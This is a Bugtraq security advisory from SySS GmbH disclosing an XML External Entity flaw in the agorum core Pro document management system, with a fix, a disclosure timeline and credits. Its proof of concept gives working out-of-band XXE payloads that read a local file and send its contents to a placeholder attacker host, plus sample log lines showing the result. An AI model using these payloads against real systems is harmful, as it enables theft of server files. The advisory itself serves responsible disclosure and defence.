bugtraq - [SYSS-2017-009] agorum core Pro - Improper Restriction of XML External Entity Reference ('XXE')

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Message-Id: <201704131107.v3DB7SQo001803@sf01web2.securityfocus.com>
Date: Thu, 13 Apr 2017 11:07:28 GMT
From: erlijn.vangenuchten@...s.de
To: bugtraq@...urityfocus.com
Subject: [SYSS-2017-009] agorum core Pro - Improper Restriction of XML
 External Entity Reference ('XXE')

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Advisory ID: SYSS-2017-009
Product: agorum core Pro
Manufacturer: agorum Software GmbH
Affected Version(s): 7.8.1.4-251
Tested Version(s): 7.8.1.4-251
Vulnerability Type: Improper Restriction of XML External Entity Reference ('XXE') (CWE-611) 
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2017-02-06
Solution Date: 2017-04-06
Public Disclosure: 2017-04-12
CVE Reference: Not yet assigned
Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

agorum core Pro is a module based Document Management System. It allows 
the customer to buy only required modules and can be extended when 
needed. 

Due to the possibility to upload and parse XML files, it is possible to
extract data from the local system.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

SySS GmbH found out that users are able to upload and parse XML files.
Even though the result of the parse XML file is not visible in the
application, it is possible to extract data from the local system using
an external server. 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

First, the file "ev.xml" with the following content was uploaded to an 
external server hosted by the attacker.

<!ENTITY % data SYSTEM "file:///c:/[PATH]/[FILE]">
<!ENTITY % url "<!ENTITY extract SYSTEM 'http://[ATTACKER-HOST]?%data;'>">

Second, the file "attack.xml" with the following content was uploaded 
in the desk4web module of the web application: 

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sg SYSTEM "http://[ATTACKER-HOST]/ev.xml">
%sg;
%url;
]>
<r>&extract;</r>

Important is to tick the box in the application that the XML file should 
be parsed after uploading. 

When the application has finished parsing the XML file, an entry in for 
example the Apache access.log file of the attacker's web server is
available, which contains the extracted file contents:

"GET /ev.xml HTTP/1.1" 200 441 "-" "Java/1.7.0_17"
"GET /?[EXTRACTED-FILE-CONTENTS] HTTP/1.1" 200 210 "-" "Java/1.7.0_17"

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Update to agorum core 7.11.3. [4]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2017-01-30: Vulnerability discovered
2017-02-06: Vulnerability reported to manufacturer
2017-04-06: Public disclosure
2017-04-06: Fix confirmed by manufacturer
2017-04-12: Vulnerability published

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for agorum Software GmbH
    http://mein-dms.agorum.com/
[2] SySS Security Advisory SYSS-2017-009
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-009.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/
[4] Agorum Change Log
    https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Dr. Erlijn van Genuchten and 
Sascha Grimmeisen of SySS GmbH.

E-Mail: erlijn.vangenuchten@...s.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc
Key ID: 0xBD96FF2A
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A

E-Mail: sascha.grimmeisen@...s.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc
Key ID: 0xD3D9C868
Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
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